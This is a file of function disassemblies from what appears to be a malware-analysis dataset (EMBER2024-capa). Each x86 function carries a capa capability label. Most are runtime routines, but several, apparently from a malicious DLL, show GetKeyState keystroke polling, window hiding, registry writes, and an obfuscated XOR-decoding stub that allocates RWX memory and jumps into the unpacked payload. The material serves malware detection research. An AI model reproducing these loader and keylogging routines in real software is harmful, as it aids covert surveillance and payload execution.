joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c61a8
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x648920]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4c61ee
cmp word [ebx], dx
jne 0x4c61ee
or byte [eax + edi + 0x28], 4
jmp 0x4c61f3
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x4c6356
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x4c6336
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x4c6234
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4c626a
cmp eax, edx
jae 0x4c6278
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x4c620f
jmp 0x4c6356
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4c6331
cmp dword [ebp - 0x18], 0
je 0x4c6331
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x648920]
test byte [eax + edi + 0x28], 0x48
je 0x4c6307
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x4c62cb
mov word [esi], cx
jmp 0x4c6302
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x648920]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x648920]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x648920]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x4c6356
pop eax
cmp word [ebp - 4], ax
jne 0x4c6317
cmp esi, ebx
jne 0x4c6317
mov word [esi], ax
jmp 0x4c6353
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004cefa9
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x4c6356
push 0xd
pop eax
jmp 0x4c6312
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x648920]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x4c6350
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x4c6356
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4ce6da
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x5091b0
push 0x5091a8
push str.FlsAlloc
push 0x1f
call fcn.004ce505
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4ce70e
push dword [ebp + 8]
mov ecx, esi
call dword [0x4ea3d4]
call esi
jmp 0x4ce714
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4ce758
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x5091c0
push 0x5091b8
push str.FlsGetValue
push 0x21
call fcn.004ce505
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4ce78f
push dword [ebp + 8]
mov ecx, esi
call dword [0x4ea3d4]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4ce797
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x5091c8
push 0x5091c0
push str.FlsSetValue
push 0x22
call fcn.004ce505
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4ce7d1
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x4ea3d4]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x4d2882
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.004d27fe
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x4d29f1
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x4d29f1
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4d29a6
jg 0x4d28de
test eax, eax
je 0x4d299c
push 1
push 0x1000
call fcn.004ce203
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4d2901
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4d2993
push 0x8000
push ebx
call fcn.004cb2ab
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x4d292a
jg 0x4d2925
cmp ecx, 0x1000
jb 0x4d292a
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.004c72c5
add esp, 0x10
cmp eax, 0xffffffff
je 0x4d296f
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x4d2925
jl 0x4d2956
test ecx, ecx
jne 0x4d2917
push dword [ebp - 0xc]
push ebx
call fcn.004cb2ab
push esi
call fcn.004cde89
add esp, 0xc
xor ebx, ebx
jmp 0x4d29ff
cmp byte [edi + 0x24], 0
je 0x4d2986
cmp dword [edi + 0x20], 5
jne 0x4d2986
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4d2991
mov ebx, dword [edi + 0x18]
jmp 0x4d2993
xor ebx, ebx
push esi
call fcn.004cde89
pop ecx
jmp 0x4d29ff
test ecx, ecx
jg 0x4d2968
jl 0x4d29a6
test eax, eax
jae 0x4d2968
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004cefa9
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4d29c6
cmp byte [edi + 0x1c], 0
je 0x4d2968
jmp 0x4d29f7
push ebx
call fcn.004d2595
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x4d2968
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4d29ff
cmp byte [edi + 0x1c], 0
je 0x4d29fc
mov ebx, dword [edi + 0x18]
jmp 0x4d29ff
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.004cefa9
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4d431f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4d43bc
push ebx
push esi
call fcn.004d42e8
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004d13d8
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4d4369
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4d43bb
push edi
push eax
call fcn.004cf18e
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4d4389
call fcn.004cde89
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4d43ba
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004d13d8
add esp, 0x20
test eax, eax
jne 0x4d43a8
push edi
call fcn.004cde89
jmp 0x4d43b0
push ebx
call fcn.004cde89
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4d43bf
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4d43d0
pop esi
ret
push ebx
push edi
push esi
call fcn.004d42e8
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.004cf18e
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4d43f8
push ebx
push esi
push edi
call fcn.004b5e30
add esp, 0xc
push 0
call fcn.004cde89
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x4d4b52
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004d466d

Function at 0x4d6d8b
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.004cd72d
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4d6dfa
cmp esi, dword [ebp - 4]
je 0x4d6df5
cmp dword [ebp + 0xc], 0
je 0x4d6df5
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4d6dd2
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.004d68dd
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x4d6dfc
xor eax, eax
inc eax
jmp 0x4d6dfc
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x4d6e61
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x522298]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.004cd72d
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.004cd72d
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x4d6ed8
cmp word [ecx], dx
je 0x4d6ed8
mov eax, dword [0x509c2c]
push edi
dec eax
push eax
push 0x509b18
call fcn.004d6e00
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x4d6f4b
cmp word [eax], dx
je 0x4d6f4b
mov eax, dword [edi]
test eax, eax
je 0x4d6efc
cmp word [eax], dx
je 0x4d6efc
lea eax, [ebp - 0x10]
push eax
call fcn.004d67e3
jmp 0x4d6f05
lea eax, [ebp - 0x10]
push eax
call fcn.004d687e
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x4d6f75
mov eax, dword [0x509b14]
push dword [ebp - 0x14]
dec eax
push eax
push 0x509808
call fcn.004d6e00
add esp, 0xc
test al, al
je 0x4d6f75
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x4d6f40
cmp word [eax], di
je 0x4d6f40
lea eax, [ebp - 0x10]
push eax
call fcn.004d67e3
pop ecx
jmp 0x4d6f77
lea eax, [ebp - 0x10]
push eax
call fcn.004d687e
jmp 0x4d6f3d
mov eax, dword [edi]
test eax, eax
je 0x4d6f62
cmp word [eax], dx
je 0x4d6f62
lea eax, [ebp - 0x10]
push eax
call fcn.004d6798
pop ecx
jmp 0x4d6f75
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x4d7040
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.004d6c85
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4d7040
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x4d7040
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x4d7040
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x4d6fcd
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.004ce973
test ebx, ebx
je 0x4d703b
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.004ce973
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4d7040
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4d7040
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.004da196
add esp, 0x10
xor eax, eax
inc eax
jmp 0x4d7042
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004b3f14
leave
ret
Function at 0x4e4c20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4e4c4d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4e4c4d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x6d8f1110
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x6d90dc8c]
xor eax, esp
mov dword [esp + 0x208], eax
push esi
mov esi, dword [esp + 0x214]
push 0x103
lea eax, [esp + 9]
push 0
push eax
mov byte [esp + 0x10], 0
call fcn.6d8fca40
add esp, 0xc
push 0x104
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x6d8f11bc
cmp eax, 0x104
ja 0x6d8f11bc
push 0x103
lea edx, [esp + 0x10d]
push 0
push edx
mov byte [esp + 0x114], 0
call fcn.6d8fca40
push esi
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x11c]
push 0x6d906660
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
lea edx, [esp + 0x108]
push edx
call dword [sym.imp.kernel32.dll_LoadLibraryA]
pop esi
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.6d8fca24
add esp, 0x20c
ret
mov ecx, dword [esp + 0x20c]
pop esi
xor ecx, esp
xor eax, eax
call fcn.6d8fca24
add esp, 0x20c
ret
Function at 0x6d8f28b0
Capabilities:
Delete registry key

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x6d8f28f0
push str.Advapi32.dll
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
test eax, eax
je 0x6d8f28fd
push str.RegDeleteKeyTransactedA
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
test eax, eax
je 0x6d8f28fd
mov ecx, dword [esi]
mov edx, dword [esp + 0xc]
push 0
push ecx
mov ecx, dword [esp + 0x10]
push 0
push 0
push edx
push ecx
call eax
pop esi
ret 8
cmp dword [esi + 4], 0
je 0x6d8f28fd
pop esi
jmp dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, 1
pop esi
ret 8

Function at 0x6d8f2b60
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 4]
push 4
lea eax, [esp + 0xc]
push eax
mov eax, dword [ecx]
push 4
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x6d8f2b80
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, ecx
test esi, esi
jne 0x6d8f2b94
pop edi
lea eax, [esi + 0xd]
pop esi
ret 0xc
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
mov ecx, dword [esp + 0xc]
mov edx, dword [edi]
inc eax
push eax
mov eax, dword [esp + 0x18]
push esi
push eax
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
ret 0xc

Function at 0x6d8f2bc0
Capabilities:
Set registry value

Disassembly:
push ecx
push ebp
mov ebp, dword [esp + 0x10]
mov dword [esp + 4], ecx
test ebp, ebp
jne 0x6d8f2bd6
lea eax, [ebp + 0xd]
pop ebp
pop ecx
ret 8
push ebx
mov ebx, dword [sym.imp.kernel32.dll_lstrlenA]
push esi
push edi
xor edi, edi
mov esi, ebp
push esi
call ebx
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x6d8f2be3
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov edx, dword [ecx]
push edi
push ebp
push 7
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
pop ebp
pop ecx
ret 8
Function at 0x6d8f3450
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x120
mov eax, dword [0x6d90dc8c]
xor eax, esp
mov dword [esp + 0x11c], eax
mov eax, dword [esp + 0x124]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
mov edx, dword [edi]
or ecx, 0x2001f
push ecx
xor esi, esi
push eax
push edx
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call fcn.6d8f2ae0
mov ebx, eax
cmp ebx, esi
je 0x6d8f34b5
mov eax, dword [esp + 0xc]
cmp eax, esi
je 0x6d8f34ae
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x6d8f3551
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea eax, [esp + 0x24]
push eax
mov eax, dword [esp + 0x14]
push esi
push esi
push esi
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x40]
push edx
push esi
push eax
mov dword [esp + 0x3c], pe_nt_image_headers32
call ebp
test eax, eax
jne 0x6d8f351c
lea ecx, [esp + 0x2c]
push ecx
lea ecx, [esp + 0x14]
call fcn.6d8f3450
mov ebx, eax
cmp ebx, esi
jne 0x6d8f356b
lea edx, [esp + 0x24]
push edx
mov edx, dword [esp + 0x14]
push esi
push esi
push esi
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x40]
push ecx
push esi
push edx
mov dword [esp + 0x3c], pe_nt_image_headers32
call ebp
test eax, eax
je 0x6d8f34e2
mov eax, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp eax, esi
je 0x6d8f3531
push eax
call ebx
mov dword [esp + 0x10], esi
mov eax, dword [esp + 0x20]
push eax
mov ecx, edi
mov dword [esp + 0x18], esi
call fcn.6d8f2980
mov edi, eax
mov eax, dword [esp + 0x10]
cmp eax, esi
je 0x6d8f354e
push eax
call ebx
mov eax, edi
pop ebp
mov ecx, dword [esp + 0x128]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.6d8fca24
add esp, 0x120
ret 4
mov eax, dword [esp + 0x10]
cmp eax, esi
je 0x6d8f357a
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x6d8f3550
Function at 0x6d8f5c40
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x1a0]
sub esp, 0x220
mov eax, dword [0x6d90dc8c]
xor eax, ebp
mov dword [ebp + 0x19c], eax
push ebx
push esi
push edi
xor edi, edi
push edi
push 1
mov ecx, 0x6d90eb1c
call fcn.6d8f5a90
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x70]
push eax
push 0x6d906778
mov byte [ebp + 0x98], 0
call dword [sym.imp.ole32.dll_StringFromCLSID]
mov eax, dword [ebp - 0x70]
mov ebx, eax
cmp eax, edi
jne 0x6d8f5c93
xor eax, eax
jmp 0x6d8f5cd4
push eax
call dword [sym.imp.kernel32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jg 0x6d8f5cd0
lea edi, [eax + eax]
mov eax, edi
call fcn.6d8fd3e0
mov esi, esp
test esi, esi
je 0x6d8f5cd0
push 0
push 0
push edi
push esi
push 0xffffffffffffffff
push ebx
push 0
push 3
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
neg eax
sbb eax, eax
and eax, esi
jmp 0x6d8f5cd2
xor eax, eax
xor edi, edi
push eax
lea ecx, [ebp + 0x98]
push 0x6d906ae8
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov edx, dword [ebp - 0x70]
add esp, 0xc
push edx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push 0xf003f
lea eax, [ebp + 0x98]
push eax
push SysReAllocString
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x74], edi
call fcn.6d8f2ae0
test eax, eax
je 0x6d8f5d2f
mov eax, dword [ebp - 0x7c]
cmp eax, edi
je 0x6d8f5d28
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x80040201
jmp 0x6d8f5d71
mov edx, dword [0x6d90eb60]
push 0x104
lea ecx, [ebp - 0x6c]
push ecx
push edx
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
mov esi, dword [ebp - 0x7c]
inc eax
push eax
lea ecx, [ebp - 0x6c]
push ecx
push 1
push edi
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp esi, edi
je 0x6d8f5d6e
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x80]
lea esp, [ebp - 0x8c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x19c]
xor ecx, ebp
call fcn.6d8fca24
lea esp, [ebp + 0x1a0]
pop ebp
ret

Function at 0x6d8f7d20
Capabilities:
Hide graphical window

Disassembly:
push esi
test ecx, ecx
je 0x6d8f7d2a
lea esi, [ecx - 0x7c]
jmp 0x6d8f7d2c
xor esi, esi
mov ecx, dword [esi + 0x88]
mov edx, dword [ecx + 0x18]
lea eax, [esi + 0x88]
push eax
call edx
mov esi, dword [esi + 0x50]
test esi, esi
je 0x6d8f7d4e
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 8
Function at 0x6d8f8e40
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x1c
test eax, eax
je 0x6d8f8e50
add eax, 0xffffff80
jmp 0x6d8f8e52
xor eax, eax
mov eax, dword [eax + 0x14]
push esi
mov esi, dword [esp + 0x28]
push edi
mov ecx, 7
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x28], 0
test eax, eax
jne 0x6d8f8e7f
xor ecx, ecx
mov dword [esp + 0x28], ecx
mov eax, 0x80004005
jmp 0x6d8f8e94
mov ecx, dword [eax]
lea edx, [esp + 0x28]
push edx
push 0x6d906e10
push eax
mov eax, dword [ecx]
call eax
mov ecx, dword [esp + 0x28]
test eax, eax
js 0x6d8f8ee7
test ecx, ecx
je 0x6d8f8ee2
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
xor esi, esi
call edi
test ax, ax
jns 0x6d8f8eb2
mov esi, 1
push 0x11
call edi
test ax, ax
jns 0x6d8f8ebe
add esi, 2
push 0x12
call edi
test ax, ax
jns 0x6d8f8eca
add esi, 4
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
push esi
lea edx, [esp + 0xc]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
mov ecx, dword [esp + 0x28]
jmp 0x6d8f8ee7
mov eax, 1
xor edx, edx
test eax, eax
setne dl
mov esi, edx
test ecx, ecx
je 0x6d8f8efc
mov eax, dword [ecx]
push ecx
mov ecx, dword [eax + 8]
call ecx
pop edi
mov eax, esi
pop esi
add esp, 0x1c
ret 8
Function at 0x6d8fc646
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x6d90ebbc], 0
push esi
push edi
jne 0x6d8fc5bc
call fcn.6d8fc528
test eax, eax
je 0x6d8fc601
mov eax, dword [0x6d90ebbc]
cmp eax, 1
jne 0x6d8fc5dd
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x6d8fc601
jmp 0x6d8fc643
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x6d8fc643
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x6d8fc605
xor eax, eax
jmp 0x6d8fc643
mov eax, dword [esi]
push dword [0x6d90ebbc]
call edi
mov edi, eax
test edi, edi
je 0x6d8fc627
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x6d8fc643
lea edi, [esi + 0xff0]
push esi
push dword [0x6d90ebbc]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x6d8fc62d
mov eax, esi
pop edi
pop esi
ret
jmp 0x6d8fc5a8

Function at 0x6d8fca24
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d90dc8c]
jne 0x6d8fca2e
repz ret
jmp fcn.6d8fece8

Function at 0x6d900540
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x6d90054f
pop dword [ebp - 0xc]
mov eax, 0xb365de59
sub eax, 0x45d5d90a
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x399f6
push 0
mov eax, 0x624bc486
add eax, 0xb449cfa
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x2c4512b5
sub ecx, 0x2c44c889
mov edx, eax
mov edi, 0xa068b24e
add edi, 0xcd2895b2
add edi, dword [ebp - 0xc]
mov esi, 0x5cfee1f8
add dword [ebp - 4], esi
mov ebx, dword [edi]
add dword [ebp - 4], edx
add ebx, esi
xor dword [ebp - 8], 0x6f856ba6
mov dword [edx], ebx
xor dword [ebp - 8], ebx
add edx, 0x5e49cd46
add edx, 0xa1b632be
add edi, 0xb39a26cb
sub edi, 0xb39a26c7
loop 0x6d9005a8
add eax, 0x11b83
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x3e6a03ad
add ecx, 0x2f24fc53
add ecx, dword [ebp - 0xc]
call ebx
leave
ret